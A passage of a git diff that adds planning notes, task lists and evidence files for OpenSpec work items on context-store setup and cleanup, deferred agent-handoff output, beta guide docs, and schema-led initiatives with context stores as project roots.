files. `initiative show` still resolves because + current initiative identity depends on `initiative.yaml`. +- Promoted the broader fix into + `work-items/15-context-store-project-roots-and-schema-led-initiatives/`: + context stores should behave like OpenSpec roots for shared context, with + store-local config, schemas, and sparse schema-led initiative artifacts. +- Workspace shape correction: managed workspace views should not look like + repos. New workspace views should contain the generated root files + (`AGENTS.md`, `workspace.yaml`, and `<workspace>.code-workspace`) without a + default `changes/` directory or generated `.gitignore`; VS Code multi-root + views should show linked repos first, then initiative context, then the small + OpenSpec workspace folder. +- Guide correction: after opening a workspace, the user should ask the agent to + explore or draft using the initiative. The agent should resolve workspace + state, initiative context, and linked repo ownership, then run repo-local + OpenSpec commands from the owning repo. The user-facing flow should not make + humans type `openspec new change` or `cd` into implementation repos. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/plan.md new file mode 100644 index 0000000000..93ca446d80 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/plan.md @@ -0,0 +1,39 @@ +# Manual Beta Reality Pass + +## Status + +Proposed next work item. + +## Goal + +Try the current beta flow by hand and use the friction as product input before +building more surface area. + +## Pass Shape + +Start from a fresh local setup and walk through: + +- context store setup or registration +- initiative creation and editing through an agent +- workspace open +- workspace link or relink +- workspace doctor +- repo-local change creation linked to an initiative +- handoff back to an agent + +## Output + +The output should be notes, not polish: + +- what felt easy +- what felt weird +- where flags leaked into user-facing docs +- where prompts were missing +- what an agent needed to be told explicitly +- what should become a follow-on implementation slice + +## Non-Goals + +- Do not require a clean public tutorial state. +- Do not solve every issue found during the pass. +- Do not turn the beta flow into a progress dashboard. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/tasks.md new file mode 100644 index 0000000000..1d7f4133c0 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/11-manual-beta-reality-pass/tasks.md @@ -0,0 +1,8 @@ +# Manual Beta Reality Pass Tasks + +- [ ] Run the current beta flow from a fresh user's point of view. +- [ ] Capture notes in the initiative as the pass happens. +- [ ] Mark where the user should type commands versus prompt an agent. +- [ ] Record confusing output, missing prompts, and unclear command names. +- [ ] Update beta docs with immediate findings. +- [ ] Split larger findings into proposed implementation work items. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/evidence.md new file mode 100644 index 0000000000..214921ad2d --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/evidence.md @@ -0,0 +1,45 @@ +# Context Store First-Run And Cleanup UX Evidence + +## Manual Beta Source Notes + +The manual beta pass found: + +- no-argument `openspec context-store setup` feels like it should start an + interactive setup; +- accidental setup previously created a store under the current repo before the + managed default was corrected; +- cleanup had no CLI path and required deleting files plus editing the registry + manually; +- Git initialization left shared files untracked without telling the user or + agent what to do next. + +## Initial Recommendation + +Keep context-store first-run UX small and local: + +- prompt only for local setup choices; +- never push, pull, commit, create remotes, or delete files implicitly; +- keep JSON output explicit enough for agents to continue safely; +- leave team sync policy to the later shared-coordination hardening work. + +## Implementation Result + +- `openspec context-store setup` now runs a guided setup in interactive + terminals when no id is provided. +- Non-interactive and `--json` setup require explicit inputs and fail with a + structured setup-id diagnostic when the id is missing. +- Explicit setup paths inside another Git repository are blocked + non-interactively and require explicit confirmation interactively. +- `context-store unregister <id>` removes only the local registry entry. +- `context-store remove <id>` removes the local registry entry and deletes the + local folder only after confirmation or `--yes`; it refuses to delete folders + without matching context-store metadata. +- Human success output is intentionally compact; JSON output carries exact + registry, file, and Git state without `next_commands`. + +Verification: + +- `pnpm build` +- `pnpm lint` +- `pnpm vitest run test/commands/context-store.test.ts test/core/context-store/registry.test.ts` +- `pnpm test` diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/plan.md new file mode 100644 index 0000000000..39b4326c3e --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/plan.md @@ -0,0 +1,150 @@ +# Context Store First-Run And Cleanup UX + +## Status + +Implemented. + +This work item covers the context-store setup and cleanup gaps that were not +fully captured by later docs, schema, or handoff work. + +## Source Of Truth + +Manual beta notes: + +- `../11-manual-beta-reality-pass/notes.md`, especially the findings around + no-argument setup, cleanup, target path safety, and shared-store Git guidance. + +Preserve the current boundary: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +## Why This Exists + +The beta pass found that `openspec context-store setup` feels like a first-run +entrypoint, but no-argument setup currently does not guide the user through the +choices they need to make. The pass also found that recovering from a mistaken +store setup requires manual registry edits and file deletion. + +These are local lifecycle problems, not shared coordination model problems. +They should be solved before asking new users or teammates to trust context +stores as normal local workflow. + +## Goals + +- Make no-argument `context-store setup` a friendly interactive setup path in a + terminal. +- Keep non-interactive and JSON behavior deterministic and agent-safe. +- Make the target store path explicit before creation. +- Provide a supported local cleanup command for removing or unregistering a + context store from this machine. +- Keep Git setup limited to optional local initialization, without staging, + committing, pushing, creating remotes, or choosing team workflow. + +## Non-Goals + +- Do not add remote creation, clone, pull, push, watch, or sync automation. +- Do not make setup choose team governance, branching, or review policy. +- Do not delete shared files without an explicit user choice. +- Do not make context stores implementation repos. + +## UX Direction + +Locked decisions from the product pass: + +- `openspec context-store setup` with no arguments should start a guided setup + when run in an interactive terminal. Agents, scripts, CI, and `--json` callers + should pass the equivalent explicit inputs instead of relying on prompts. +- The guided setup should ask only for values that map to existing setup flags: + context store id, context store path, and whether to initialize Git. +- User-facing prompt copy should stay direct: + `Context store name`, `Where should this context store live?`, + `Initialize Git in this context store?`, then a final + `Create this context store?` confirmation after showing the resolved summary. +- The default location should be the managed OpenSpec context-store directory, + not the current working directory. Users can still choose any explicit safe + local path; OpenSpec stores that machine-local path in the local registry, not + in shared context-store metadata. +- Setup should be protective around risky paths: create missing paths, accept + empty directories, treat matching context-store metadata as idempotent, stop + on metadata/id conflicts, stop on files, and stop or explicitly warn before + using a non-empty unmarked directory or a path inside another Git repository. +- Cleanup should expose two explicit intents: `context-store unregister <id>` + forgets the machine-local registry entry and leaves files alone, while + `context-store remove <id>` unregisters the store and deletes the local folder + only after showing the exact path and receiving confirmation. +- Happy-path human output should stay small: show the context store id, its + location, and the next user-facing step. Do not show Git state, metadata + paths, registry paths, or created-file lists unless there is a warning, + failure, `--json`, or `context-store doctor` output. +- JSON output should report exact resulting state, not workflow guidance. Include + ids, roots, metadata paths, registry state, Git facts, created/deleted files, + and warnings/errors where present, but do not include `next_commands`. Empty + `status: []` can be preserved where existing JSON compatibility needs it, but + new behavior should not rely on blank status arrays for meaning. +- Git initialization is an optional local convenience only. When requested, + OpenSpec may run `git init`, but it must not stage, commit, push, create + remotes, create branches, or define team Git policy. + +Interactive setup should cover the minimum choices: + +```text +Store id +Target path, defaulting to the managed OpenSpec context-store location +Whether to initialize Git +``` + +Before writing files, output should show the resolved target path. If an +explicit path is inside another Git repo or an existing non-empty directory, +the command should either ask for confirmation with clear wording or fail with +a fix message in non-interactive mode. + +Cleanup should distinguish local registration from file deletion: + +```bash +openspec context-store unregister team-context +openspec context-store remove team-context +``` + +The command names are explicit because the user intents are different: + +- forget this local registry entry only +- delete this local context-store folder too + +If Git initialization fails, setup should explain that the user can install Git +or rerun setup without Git. Successful Git initialization stays out of the +happy-path human output. + +## Agent / JSON Contract + +JSON setup output should report: + +- store id +- root path +- metadata path +- whether Git was initialized +- whether files were created or already existed +- local registry path or registry entry identity + +JSON cleanup output should report: + +- store id +- removed local registry entry, if any +- deleted root path, if requested +- files left on disk, if deletion was not requested +- warnings for missing, ambiguous, or already-removed state + +## Done When + +- A fresh user can run `openspec context-store setup` in a terminal and be led + through the normal local setup path without knowing flags. +- Non-interactive and JSON setup still fail predictably when required choices + are missing. +- A mistaken local store registration can be removed through the CLI without + hand-editing the registry. +- Setup and cleanup output make local file, registry, and Git state explicit. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/tasks.md new file mode 100644 index 0000000000..95245a1406 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/12-context-store-first-run-and-cleanup-ux/tasks.md @@ -0,0 +1,23 @@ +# Context Store First-Run And Cleanup UX Tasks + +- [x] Decide exact no-argument `context-store setup` behavior for TTY, + non-TTY, and `--json` invocations. +- [x] Design the interactive setup prompts for store id, target path, and Git + initialization. +- [x] Define target-path safety behavior for managed defaults, explicit paths, + paths inside existing Git repos, and non-empty directories. +- [x] Implement the interactive setup flow without changing deterministic + non-interactive behavior. +- [x] Decide whether the cleanup surface is `unregister`, `remove`, or both. +- [x] Define cleanup semantics for "forget local registration" versus "delete + local files too". +- [x] Implement local registry cleanup with explicit confirmation before file + deletion. +- [x] Add human output that stays small and JSON output that reports exact setup + and cleanup state without `next_commands`. +- [x] Keep Git initialization scoped to local `git init` with no auto-staging, + committing, pushing, remote creation, or team policy. +- [x] Add focused tests for setup prompts, non-interactive failures, path + safety, registry cleanup, and JSON output. +- [x] Update beta docs and agent playbook references for first-run setup and + cleanup. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/evidence.md new file mode 100644 index 0000000000..40b8808512 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/evidence.md @@ -0,0 +1,41 @@ +# Agent Handoff Output And Delivery Polish Evidence + +## Manual Beta Source Notes + +The manual beta pass found: + +- after context-store setup, the user is told to ask an agent to create an + initiative, but a fresh agent may not know the beta CLI or where to find the + playbook; +- `initiative create --json` reports `created_files` as relative names, so + agents must combine them with the returned root before writing; +- "commands only" can sound like "the agent gets no OpenSpec guidance," even + though users may only mean slash commands as workflow entrypoints; +- tools without command adapters need a clear warning when workflow slash + commands cannot be installed. + +## Initial Recommendation + +Treat this as output polish, not a new workflow engine: + +- add direct path fields rather than breaking existing relative fields; +- keep handoff guidance concrete and command-sized; +- keep baseline OpenSpec literacy separate from workflow entrypoints; +- leave the broader "what should I do next?" command to the proposed handoff + work item. + +## Reassessment + +After reviewing practical examples, the proposed "Next for your agent" shape +looked too prescriptive. It assumes a fixed linear beta path, but agents may +inspect state, branch, skip setup, continue an existing change, or use context in +a different order. + +Conclusion on 2026-05-30: + +- Skip Item 13 as an implementation item for now. +- Preserve the evidence because the handoff pain is real. +- Do not hardcode fixed next-step guidance until the product has a clearer + receipt or affordance model. +- Consider splitting deterministic `created_paths` style receipt fields into a + smaller future slice if they remain useful. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/plan.md new file mode 100644 index 0000000000..af578e2de4 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/plan.md @@ -0,0 +1,106 @@ +# Agent Handoff Output And Delivery Polish + +## Status + +Deferred as an implementation item. + +This work item captures a real beta pain, but the current "Next for your agent" +shape should not be built yet. It assumes a linear workflow path and risks +hardcoding guidance that does not fit dynamic agentic work. + +Decision on 2026-05-30: skip this item for now. Keep the notes as research +input for a future handoff receipt model. + +## Source Of Truth + +Manual beta notes: + +- `../11-manual-beta-reality-pass/notes.md`, especially the findings around + post-setup agent guidance, relative `created_files`, and commands-oriented + delivery warnings. + +Related work: + +- `../proposed-initiative-next-agent-handoff-ux/` +- `../14-workspaces-beta-guide-split/` +- `../15-context-store-project-roots-and-schema-led-initiatives/` + +## Why This Was Proposed + +The beta pass showed that agents can succeed if they know which command to run, +but the first handoff is still too implicit. Setup output, JSON receipts, docs, +and generated delivery artifacts should make the next move obvious without +requiring the user to paste tribal knowledge. + +That pain is still valid. The uncertain part is the product shape. A fixed next +step may be wrong when the agent can inspect current state, discover existing +initiatives, skip workspace setup, continue from a repo-local change, or choose +a different planning route. + +## Future Direction + +If this is revisited, frame it as a receipt or affordance model: + +- report what now exists; +- report where canonical context and created artifacts live; +- report relevant state and selected local bindings; +- optionally report available actions, not a required next command; +- avoid a single `next_command` unless the next action is genuinely + deterministic. + +Small deterministic output improvements, such as absolute `created_paths`, may +still be worth splitting into a narrower implementation slice. + +## Non-Goals + +- Do not implement an `initiative next` command in this slice. +- Do not add progress dashboards or work-status rollups. +- Do not create initiatives, changes, or workspaces automatically as part of + setup output. +- Do not make every relative path field disappear if existing compatibility + requires it; add direct absolute path fields instead. +- Do not hardcode a single user or agent journey. + +## Deferred Output Sketch + +Avoid this prescriptive shape for now: + +```text +Next for your agent: + Ask your coding agent to create or update an initiative in team-context. +``` + +If a future model exists, prefer contextual receipts: + +```json +{ + "created_files": ["brief.md"], + "created_paths": [ + "/path/to/store/initiatives/billing-launch/brief.md" + ], + "handoff_context": { + "store": "team-context", + "initiative": "billing-launch", + "workspace": null + }, + "available_actions": [ + "inspect_initiative", + "open_workspace_view", + "create_repo_local_change" + ] +} +``` + +Delivery copy may still need separate work to distinguish: + +- baseline OpenSpec guidance or literacy; +- workflow entrypoints such as skills or slash commands. + +## Revisit When + +- Item 14 clarifies the human guide versus agent playbook split. +- Item 15 clarifies sparse initiative artifacts and context-store project-root + behavior. +- There is enough beta evidence to decide whether command output should expose + state receipts, available affordances, direct paths only, or no special + handoff block. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/tasks.md new file mode 100644 index 0000000000..243af6d171 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/13-agent-handoff-output-and-delivery-polish/tasks.md @@ -0,0 +1,38 @@ +# Agent Handoff Output And Delivery Polish Tasks + +Status: deferred. Do not implement these tasks until the handoff model is +redesigned as contextual receipts or affordances rather than fixed linear +"next step" guidance. + +- [ ] Revisit after Item 14 and Item 15 clarify the beta docs, sparse + initiative flow, and context-store project-root model. +- [ ] Decide whether any deterministic receipt improvements, such as + `created_paths`, should be split into a smaller independent slice. +- [ ] Decide whether delivery terminology belongs in a separate + command-surface/delivery item. + +## Deferred Original Tasks + +- [ ] Decide which existing commands should print a "Next for your agent" + handoff block. +- [ ] Define the minimal handoff content for context-store setup, initiative + creation, workspace opening, and repo-local linked change creation. +- [ ] Add direct created-path fields, such as `created_paths`, where JSON output + currently forces agents to combine relative file names with returned + roots. +- [ ] Preserve compatibility for existing relative `created_files` fields where + callers may already depend on them. +- [ ] Update `initiative create --json` and sparse initiative creation output + from Item 15 to include direct artifact paths and next commands. +- [ ] Decide how generated docs or setup output points to the agent CLI + playbook without requiring a pasted mini-playbook in every guide step. +- [ ] Clarify delivery terminology so commands-oriented delivery means workflow + commands as entrypoints, not absence of baseline OpenSpec guidance. +- [ ] Add warnings when a selected tool does not support workflow slash command + delivery. +- [ ] Define how baseline OpenSpec guidance is reported when commands-oriented + delivery is selected for a tool that still supports skills. +- [ ] Add tests or fixtures for human output, JSON output, and delivery-warning + behavior. +- [ ] Update beta docs and generated agent guidance with the polished handoff + and delivery language. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/14-workspaces-beta-guide-split/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/14-workspaces-beta-guide-split/plan.md new file mode 100644 index 0000000000..c4e1d8882e --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/14-workspaces-beta-guide-split/plan.md @@ -0,0 +1,37 @@ +# Workspaces Beta Guide Split + +## Status + +Proposed next work item. + +## Goal + +Make the beta docs match how people should actually use the feature: + +- humans use terminal prompts for local setup and local paths +- coding agents use explicit CLI commands for OpenSpec work + +## Working Model + +User-facing docs should be light on flags and heavy on agent prompts. The agent +CLI playbook should carry the exact commands, JSON surfaces, cwd rules, and +current caveats. + +Manual beta clarification: after a workspace is opened, the user should ask the +agent to explore or draft from the workspace. The agent should resolve the +workspace and initiative context, identify the owning linked repo, and run +repo-local OpenSpec commands from that repo. The workspace is the conversation +surface, not the artifact home. + +## Scope + +- Revise `docs/workspaces-beta/user-guide.md`. +- Revise `docs/workspaces-beta/agent-cli-playbook.md`. +- Keep the docs minimal until the flow has been tried manually. +- Record command or prompt gaps found during the doc pass. + +## Non-Goals + +- Do not change CLI behavior in this work item. +- Do not promise sync, cloning, branching, worktrees, progress dashboards, or + enforced edit boundaries. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/14-workspaces-beta-guide-split/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/14-workspaces-beta-guide-split/tasks.md new file mode 100644 index 0000000000..00d86c8c71 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/14-workspaces-beta-guide-split/tasks.md @@ -0,0 +1,9 @@ +# Workspaces Beta Guide Split Tasks + +- [x] Identify which setup steps should be typed by the user. +- [x] Identify which initiative and change steps should be delegated to a coding + agent. +- [x] Update the user guide around interactive setup and agent prompts. +- [x] Update the agent CLI playbook around explicit commands and cwd rules. +- [x] Add a tiny caveat section that reflects shipped beta behavior. +- [ ] Capture any product gaps exposed by the docs pass. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/evidence.md new file mode 100644 index 0000000000..0d52781bba --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/evidence.md @@ -0,0 +1,140 @@ +# Context Store Project Roots And Schema-Led Initiatives Evidence + +## Manual Beta Findings + +- A fresh-agent style prompt successfully created `agent-trace-hooks` in the + registered `team-context` context store. +- The current CLI created this hardcoded file set: + +```text +initiative.yaml +requirements.md +design.md +decisions.md +questions.md +tasks.md +``` + +- The generated markdown templates started with `TBD` placeholders. +- The agent filled those documents with plausible but unreviewed planning + content. +- We manually reduced the test initiative to a sparse shape: + +```text +initiative.yaml +brief.md +``` + +- `openspec initiative show team-context/agent-trace-hooks --json` and + `openspec initiative list --store team-context --json` continued to resolve, + which proves current identity/listing logic does not require the six-file + packet. + +## Code Observations + +- Initiative file names are hardcoded in + `src/core/collections/initiatives/schema.ts`. +- Initiative markdown templates are hardcoded in + `src/core/collections/initiatives/templates.ts`. +- `createInitiative` writes `initiative.yaml` and then all default template + files in `src/core/collections/initiatives/operations.ts`. +- `initiative create --json` reports `created_files` from + `INITIATIVE_FILE_NAMES` in `src/commands/initiative.ts`. +- Initiative list/show read only `initiative.yaml`. +- Project-local schema resolution already uses + `<projectRoot>/openspec/schemas/<name>/schema.yaml` in + `src/core/artifact-graph/resolver.ts`. +- Project config already reads `<projectRoot>/openspec/config.yaml` in + `src/core/project-config.ts`. +- Change artifact status/instructions are coupled to repo-local change context + through `src/core/artifact-graph/instruction-loader.ts`. +- Planning-home detection currently treats an ancestor containing `openspec/` + as a possible repo planning root, so adding config to context stores needs a + safety check. + +## UX/Product Pass + +Recommended user meaning: + +```text +context store = shared OpenSpec context project +initiative = iterative high-level planning object +repo change = implementation plan +workspace = local view +``` + +Docs should avoid saying initiatives are only for cross-repo or cross-team +work. A user may choose a context store simply because they want OpenSpec +artifacts outside the implementation repo. + +`initiative create` should make the smallest useful shared object and then +teach the agent how to continue through status/instructions. It should not +pretend requirements, decisions, and tasks exist before review. + +## Architecture Pass + +Feasible minimal path: + +1. Treat the context store root as a project root for config/schema resolution. +2. Create `openspec/config.yaml` during context-store setup. +3. Resolve initiative schemas with `projectRoot = contextStoreRoot`. +4. Add initiative-specific status/instructions helpers using artifact graph + primitives. +5. Change initiative creation to write a sparse shell. + +Main risks: + +- strict `initiative.yaml` parsing if a new top-level `schema` field is added +- tests currently asserting the six-file MVP contract +- docs and generated agent guidance currently telling agents to edit the five + generated Markdown files +- ambiguity between initiative planning artifacts and repo-local implementation + tasks +- context-store roots becoming accidental repo planning homes after they gain + `openspec/config.yaml` + +## Subagent / Research Notes + +Three focused passes converged on the same direction. + +Architecture pass: + +- Model a context store as an OpenSpec planning root: + +```text +context-store/ + .openspec-store/store.yaml + openspec/config.yaml + openspec/schemas/ + initiatives/ +``` + +- Keep `.openspec-store/store.yaml` as store identity and + `openspec/config.yaml` as behavior/configuration. +- Reuse project-local config and schema resolution with the context-store root + as the project root. +- Add an initiative-specific artifact context instead of forcing initiatives + through repo-local change context. +- Guard planning-home discovery so a context store with `openspec/config.yaml` + does not become an accidental implementation repo. + +UX/product pass: + +- Describe a context store as an OpenSpec-managed planning home. It may be used + for cross-repo coordination, but also simply to keep OpenSpec artifacts out of + an implementation repo. +- Make `initiative create` sparse: `initiative.yaml` plus a seed artifact such + as `brief.md`. +- Add status/instructions output so agents create requirements and design + artifacts only when there is reviewed content to capture. +- Stop treating default initiative artifacts as files the user or agent should + immediately fill in. + +Release-risk pass: + +- Keep old six-file beta initiatives readable. +- Update tests that assert the old generated file list. +- Avoid strict top-level additions to `initiative.yaml` until metadata + versioning is designed. +- Defer context-store-hosted executable changes to the configurable change-home + work instead of bundling them into this slice. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/plan.md new file mode 100644 index 0000000000..22a01ff2fe --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/15-context-store-project-roots-and-schema-led-initiatives/plan.md @@ -0,0 +1,344 @@ +# Context Store Project Roots And Schema-Led Initiatives + +## Status + +Proposed from the manual beta reality pass. + +This work item replaces the current "initiative create writes a full hardcoded +six-file packet" model with a project-like context-store root and an iterative, +schema-led initiative artifact flow. + +## Source Of Truth + +Start from `../../direction.md` and preserve the current boundary: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +Manual beta evidence: agents can create the current MVP initiative shape, but +the generated `requirements.md`, `design.md`, `decisions.md`, `questions.md`, +and `tasks.md` invite premature, unreviewed planning content. + +## Why This Exists + +`openspec initiative create` currently creates a complete-looking planning +packet from hardcoded TypeScript constants and `TBD` templates. That made the +MVP tangible, but it is the wrong default for real initiative work. + +Initiatives are high-level shared planning surfaces for PMs, designers, +architects, and agents. They should capture intent, reviewed requirements, +design direction, open questions, and decisions as those artifacts become real. +They should not create empty or fake documents that look finished just because +the folder exists. + +The broader product shape is that a context store should feel like an OpenSpec +root in the same way a repo does after `openspec init`: it can have local +OpenSpec configuration and project-local schemas. The difference is lifecycle: +a context store is the shared context root, not an implementation repo. + +## Product Model + +Repo after `openspec init`: + +```text +repo/ + openspec/ + config.yaml + schemas/ + changes/ + specs/ +``` + +Context store after setup: + +```text +context-store/ + .openspec-store/ + store.yaml + openspec/ + config.yaml + schemas/ + initiatives/ +``` + +The `openspec/` directory inside a context store exists for OpenSpec config and +schema resolution. It does not by itself make the context store an executable +implementation planning home. + +## Goals + +- Let context stores carry OpenSpec config, including a default initiative + schema. +- Let context stores carry project-local schemas under `openspec/schemas/`. +- Replace hardcoded initiative file creation with a schema-led artifact model. +- Make `initiative create` sparse and safe by default. +- Let agents grow initiative artifacts one step at a time through status and + instructions output. +- Keep existing six-file MVP initiatives readable. +- Keep repo-local changes as the default implementation artifact. + +## Non-Goals + +- Do not make context-store-hosted executable changes part of this slice. That + remains Item 18. +- Do not add cross-repo apply, archive, validation, or spec-sync orchestration. +- Do not make workspace-local artifacts the shared planning source of truth. +- Do not migrate existing initiatives automatically. +- Do not install AI-tool runtime files into context stores by default unless a + later UX decision explicitly opts into that. + +## Default Initiative Shape + +New initiative creation should create a shell, not the whole plan: + +```text +initiatives/<id>/ + initiative.yaml + brief.md +``` + +`brief.md` is a seed document, not a completion marker for reviewed +requirements or design. It should contain the title, summary, and a short +"current understanding" section with no `TBD` placeholders. + +Reviewed planning artifacts are created later through the initiative schema. + +Default built-in schema, conceptually: + +```yaml +name: product-initiative +version: 1 +description: High-level initiative planning for PMs, designers, architects, and agents +usage: initiative +artifacts: + - id: requirements + generates: requirements.md + description: Product intent, goals, non-goals, requirements, and open questions + template: requirements.md + requires: [] + + - id: design + generates: design.md + description: Product, UX, and architecture direction with constraints and tradeoffs + template: design.md + requires: + - requirements +``` + +Do not include `tasks.md` in the default initiative schema. Implementation +tasks belong in repo-local changes. Coordination tasks, workstreams, decision +logs, and question logs can be separate later schemas or explicit artifacts once +the usage pattern is clearer. + +## UX Direction + +Store setup should make the store project-like enough for schemas: + +```bash +openspec context-store setup team-context --init-git +``` + +Expected created shape: + +```text +team-context/ + .openspec-store/store.yaml + openspec/config.yaml + initiatives/ +``` + +Preferred config direction: + +```yaml +initiative_schema: product-initiative +``` + +This avoids overloading the existing repo-local `schema` field, which currently +means "default change schema." If implementation chooses to reuse `schema` +instead, docs and JSON output must make the context-store scope explicit. + +Then initiative creation stays small: + +```bash +openspec initiative create agent-trace-hooks \ + --store team-context \ + --title "Agent Trace Hooks" \ + --summary "Explore lightweight capture of agent trace events and hook outcomes." +``` + +Expected next action: + +```bash +openspec initiative status team-context/agent-trace-hooks --json +openspec initiative instructions requirements team-context/agent-trace-hooks --json +``` + +The agent writes `requirements.md` only when the conversation has enough +reviewed content. `design.md` becomes ready after requirements exist. + +## Technical Approach + +Reuse the artifact graph primitives, but add an initiative-specific loader +instead of forcing initiatives through `loadChangeContext`. + +Current reusable pieces: + +- `src/core/artifact-graph/graph.ts` +- `src/core/artifact-graph/state.ts` +- `src/core/artifact-graph/outputs.ts` +- `src/core/artifact-graph/resolver.ts` +- `src/core/artifact-graph/instruction-loader.ts` template loading +- `src/core/project-config.ts` + +New initiative-specific pieces: + +- a context-store OpenSpec-root helper that treats the store root as the + `projectRoot` for config and schema lookup +- an initiative artifact context loader rooted at + `context-store/initiatives/<id>/` +- initiative `status` and `instructions` commands that mirror the repo-local + artifact workflow but return initiative-specific fields +- a sparse `initiative create` path that writes `initiative.yaml` and `brief.md` + only + +Do not use the existing repo planning-home resolver unchanged. Once context +stores contain `openspec/config.yaml`, the current "nearest `openspec/` folder +means repo planning home" heuristic can accidentally make a context store look +like an implementation repo. This work must either: + +- teach planning-home resolution to detect `.openspec-store/store.yaml` and + return or reject a context-store kind for implementation commands, or +- explicitly reject `openspec new change` from a context-store root until Item + 15 defines target-bound executable changes. + +## Schema And Config Compatibility + +Prefer a next-release-safe config path: + +- Add `initiative_schema` to project config, or an equivalent + collection-specific config field. +- Continue using existing `schema` as the default repo-local change schema. +- Store per-initiative schema overrides in existing `metadata` if needed. +- Avoid adding a new top-level `schema` field to `initiative.yaml` until + initiative metadata versioning is designed. + +Why: `initiative.yaml` is currently strict and versioned as `version: 1`. +Adding a top-level field would make older CLIs reject new initiatives. Existing +`metadata` can carry forward-compatible fields without breaking old readers. + +Schema namespace needs one explicit decision: + +- Either add a `usage: change | initiative` discriminator to schema files and + filter commands accordingly, or +- use a separate initiative schema namespace while reusing the same artifact + graph format. + +The simplest user-facing model is still `openspec/schemas/`, but commands must +avoid listing `product-initiative` as a valid repo-local change workflow. + +## JSON Contract + +`initiative create --json` should report the shell and next actions: + +```json +{ + "context_store": { + "id": "team-context", + "root": "/path/to/store" + }, + "initiative": { + "id": "agent-trace-hooks", + "root": "/path/to/store/initiatives/agent-trace-hooks", + "metadata_path": "/path/to/store/initiatives/agent-trace-hooks/initiative.yaml", + "schema": "product-initiative" + }, + "created_files": [ + "initiative.yaml", + "brief.md" + ], + "next_commands": { + "status": "openspec initiative status team-context/agent-trace-hooks --json", + "requirements": "openspec initiative instructions requirements team-context/agent-trace-hooks --json" + }, + "status": [] +} +``` + +`initiative status --json` should include: + +- context store identity and root +- initiative identity, root, metadata path, and selected schema +- artifact paths keyed by artifact id +- artifact statuses: `done`, `ready`, `blocked` +- next steps +- action context that says this is shared planning context, not an editable + implementation target + +`initiative instructions --json` should include: + +- resolved output path +- existing output paths +- schema instruction +- template content +- dependencies and unlocks +- store config context/rules if supported + +## Release Risk And Migration + +This is compatible if implemented as a sparse, additive layer: + +- Existing six-file initiatives remain readable because list/show only require + `initiative.yaml`. +- Existing optional markdown files can remain in old initiative folders. +- New status/instructions can ignore files outside the selected schema. +- Old CLIs can still read new initiatives if schema data stays under + `metadata` or store config rather than new strict top-level fields. + +High-risk areas: + +- Planning-home detection after context stores gain `openspec/config.yaml`. +- Tests and docs that assert the six-file MVP initiative shape. +- Schema lists and completions if initiative schemas share the same namespace + as change schemas. +- Agent guidance that still tells agents to edit every generated initiative + markdown file after creation. + +## Test And Doc Touch Points + +Likely tests to update or add: + +- `test/core/collections/initiatives/schema.test.ts` +- `test/core/collections/initiatives/templates.test.ts` +- `test/core/collections/initiatives/operations.test.ts` +- `test/commands/initiative.test.ts` +- `test/commands/context-store.test.ts` +- `test/commands/artifact-workflow.test.ts` +- planning-home tests for context-store roots with `openspec/config.yaml` +- schema listing/completion tests if schema usage filtering is added + +Likely docs to update: + +- `docs/workspaces-beta/agent-cli-playbook.md` +- `docs/workspaces-beta/user-guide.md` +- `docs/cli.md` +- schema docs if `usage` or `initiative_schema` is added +- 